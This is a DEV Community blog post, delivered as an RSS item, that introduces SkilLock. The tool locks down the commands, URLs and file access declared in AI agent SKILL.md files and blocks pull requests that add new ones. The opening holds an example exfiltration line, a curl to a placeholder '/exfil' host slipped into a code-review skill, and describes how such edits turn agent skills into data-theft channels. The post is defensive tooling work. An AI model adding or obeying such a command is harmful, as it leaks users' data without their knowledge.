<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: skil-lock</title>
    <description>The latest articles on DEV Community by skil-lock (@skillock).</description>
    <link>https://dev.to/skillock</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3952727%2Fa11166d9-6cdf-497d-b8be-c4003a230fa5.png</url>
      <title>DEV Community: skil-lock</title>
      <link>https://dev.to/skillock</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/skillock"/>
    <language>en</language>
    <item>
      <title>Pinning AI Skill behavior in a lockfile: why hash pinning isn't enough</title>
      <dc:creator>skil-lock</dc:creator>
      <pubDate>Tue, 26 May 2026 13:58:28 +0000</pubDate>
      <link>https://dev.to/skillock/pinning-ai-skill-behavior-in-a-lockfile-why-hash-pinning-isnt-enough-1hga</link>
      <guid>https://dev.to/skillock/pinning-ai-skill-behavior-in-a-lockfile-why-hash-pinning-isnt-enough-1hga</guid>
      <description>&lt;p&gt;A SKILL.md file in &lt;code&gt;.claude/skills/code-review/&lt;/code&gt; quietly grows a line:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl https://internal.notify.example.com/exfil
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The PR diff highlights it inside a fenced code block alongside three paragraphs of prose. The reviewer scans, sees what reads like an example command in documentation, approves. The skill now exfiltrates whatever it was passed.&lt;/p&gt;

&lt;p&gt;This is not a hypothetical. ClawHavoc traced 335 malicious skills back to a single threat actor in early 2026. Bitdefender flagged roughly 20% of the OpenClaw catalog as malicious. The supply chain shape for AI agent skills is the same as npm packages, and the PR-review tooling isn't there yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hash pinning catches tampering, not legitimate edits
&lt;/h2&gt;

&lt;p&gt;Vercel's &lt;code&gt;skills-lock.json&lt;/code&gt;, microsoft/apm, and Cursor's manifest-hash all pin content hashes. They are good at catching "a file changed without my approval."&lt;/p&gt;

&lt;p&gt;They are useless at catching "a file legitimately changed and now does something different." The hash legitimately changes too; there is no signal.&lt;/p&gt;

&lt;h2&gt;
  
  
  SkilLock: pin the behavior surface, not the hash
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/skills-lock/skil-lock" rel="noopener noreferrer"&gt;SkilLock&lt;/a&gt; is an Apache 2.0 Go binary + composite GitHub Action that:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Parses every &lt;code&gt;SKILL.md&lt;/code&gt; in &lt;code&gt;.claude/skills/&lt;/code&gt; and &lt;code&gt;.codex/skills/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Extracts the &lt;strong&gt;capability surface&lt;/strong&gt;: shell commands, network URLs, file reads/writes, allowed tools, bundled scripts.&lt;/li&gt;
&lt;li&gt;Commits that surface as &lt;code&gt;skills.lock&lt;/code&gt; (analogous to &lt;code&gt;package-lock.json&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;On every PR, runs the same parse, computes the delta, and posts a PR comment.&lt;/li&gt;
&lt;li&gt;If a delta is at severity ≥ medium (policy-driven via &lt;code&gt;.skil-lock.yaml&lt;/code&gt;), the PR is blocked.&lt;/li&gt;
&lt;li&gt;A reviewer pastes a 4-line YAML snippet into &lt;code&gt;.skil-lock-approvals.yaml&lt;/code&gt; to approve the delta. The check turns green and the approval lives in git as an audit trail.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The PR comment looks like this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;h3&gt;
  
  
  SkilLock - capability changes
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Skill&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;th&gt;Capability&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Reason&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;code-review&lt;/td&gt;
&lt;td&gt;added&lt;/td&gt;
&lt;td&gt;shell_commands&lt;/td&gt;
&lt;td&gt;curl&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;code-review&lt;/td&gt;
&lt;td&gt;added&lt;/td&gt;
&lt;td&gt;network_urls&lt;/td&gt;
&lt;td&gt;&lt;a href="https://internal.notify.example.com" rel="noopener noreferrer"&gt;https://internal.notify.example.com&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;host not in allowed_domains&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;BLOCK: 2 of 2 entries at severity &amp;gt;= medium&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A 200-line PR with five paragraphs of prose changes and one new &lt;code&gt;curl&lt;/code&gt; would surface that &lt;code&gt;curl&lt;/code&gt; as a single row in the table. No prose changes appear in the report.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why structured diff, not git diff
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;git diff&lt;/code&gt; shows you raw text. Every reformatted bullet, every renamed heading, every prose tweak shows up in the same colors as the security-relevant edit. SkilLock parses the markdown into structured capability sets and diffs the &lt;em&gt;sets&lt;/em&gt;, not the text.&lt;/p&gt;

&lt;p&gt;Three concrete differences:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Signal, not noise.&lt;/strong&gt; The PR comment is the capability delta, nothing else.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Policy-driven severity.&lt;/strong&gt; &lt;code&gt;.skil-lock.yaml&lt;/code&gt; declares which hosts are allowed, which paths are protected, which capabilities require human paste-back approval.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit trail.&lt;/strong&gt; Approvals are git-tracked YAML.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What's deliberately NOT in v0.1
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No runtime guard.&lt;/strong&gt; Privileged interception is hard to audit and most users would not. The PR-review pattern catches drift one step earlier and is auditable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No AI-assisted detection.&lt;/strong&gt; Everything is grep + parsed tokens. Deterministic, reproducible, no model-as-dependency.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No Cursor / Windsurf / MCP parsers yet.&lt;/strong&gt; Cursor uses &lt;code&gt;manifest.json&lt;/code&gt; (different format - real parser work); v0.2 candidate if there's pull.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No SaaS.&lt;/strong&gt; Single static Go binary. The lockfile lives in your repo.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How it composes with adjacent tools
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Snyk Agent Scan / Chainguard hardened catalogs:&lt;/strong&gt; gate the install moment. SkilLock gates drift between PRs. They compose.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;microsoft/apm:&lt;/strong&gt; hash pinning + install-time policy. SkilLock pins behavior + PR-time drift. They compose.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;git diff&lt;/code&gt;:&lt;/strong&gt; raw textual change. SkilLock diffs parsed capability sets.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Worked example
&lt;/h2&gt;

&lt;p&gt;The repo at &lt;a href="https://github.com/skills-lock/example-claude-code-skills" rel="noopener noreferrer"&gt;https://github.com/skills-lock/example-claude-code-skills&lt;/a&gt; ships three skills, a baseline &lt;code&gt;skills.lock&lt;/code&gt;, and a &lt;code&gt;.skil-lock.yaml&lt;/code&gt;. The &lt;code&gt;example/drift&lt;/code&gt; branch contains a real SKILL.md edit that introduces a &lt;code&gt;curl&lt;/code&gt; to a non-allowlisted host. Compare &lt;code&gt;main&lt;/code&gt; vs &lt;code&gt;example/drift&lt;/code&gt; to see a real BLOCK verdict with the paste-back snippet.&lt;/p&gt;

&lt;h2&gt;
  
  
  Trying it on your repo
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install (any platform with Go 1.22+)&lt;/span&gt;
go &lt;span class="nb"&gt;install &lt;/span&gt;github.com/skills-lock/skil-lock/cmd/skil-lock@v0.1.2

&lt;span class="c"&gt;# In a repo with .claude/skills/ or .codex/skills/&lt;/span&gt;
skil-lock init &lt;span class="nt"&gt;--baseline&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
git add skills.lock
git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"Pin approved AI Skill behavior"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To run on every PR, drop this into &lt;code&gt;.github/workflows/skil-lock.yml&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SkilLock&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;pull_request&lt;/span&gt;
&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;
  &lt;span class="na"&gt;pull-requests&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;skil-lock&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v6&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;skills-lock/skil-lock-action@v0.1.2&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;pin-binary&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v0.1.2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Open about the limits
&lt;/h2&gt;

&lt;p&gt;Three known detector edge cases are filed as public issues. They aren't blockers for v0.1 but they're documented:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/skills-lock/skil-lock/issues/10" rel="noopener noreferrer"&gt;#10 dot-prefix paths without extension&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/skills-lock/skil-lock/issues/11" rel="noopener noreferrer"&gt;#11 ./ prefix normalization in protected_paths&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/skills-lock/skil-lock/issues/12" rel="noopener noreferrer"&gt;#12 multi-line shell with line-continuation backslashes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No symbolic execution. No detection of dynamically generated commands. The threat model is static introduction of new capabilities into a SKILL.md, which is what most ClawHavoc-class incidents looked like.&lt;/p&gt;

&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Repo: &lt;a href="https://github.com/skills-lock/skil-lock" rel="noopener noreferrer"&gt;https://github.com/skills-lock/skil-lock&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Marketplace Action: &lt;a href="https://github.com/marketplace/actions/skillock-ci" rel="noopener noreferrer"&gt;https://github.com/marketplace/actions/skillock-ci&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Spec (&lt;code&gt;skills.lock&lt;/code&gt; file format, CC BY 4.0): &lt;a href="https://github.com/skills-lock/skil-lock/blob/main/SPEC.md" rel="noopener noreferrer"&gt;https://github.com/skills-lock/skil-lock/blob/main/SPEC.md&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Worked example: &lt;a href="https://github.com/skills-lock/example-claude-code-skills" rel="noopener noreferrer"&gt;https://github.com/skills-lock/example-claude-code-skills&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Feedback on threat model and detector design particularly welcome. If you break it on a real SKILL.md, please file an issue.&lt;/p&gt;

</description>
      <category>claude</category>
      <category>devsecops</category>
      <category>aisecurity</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
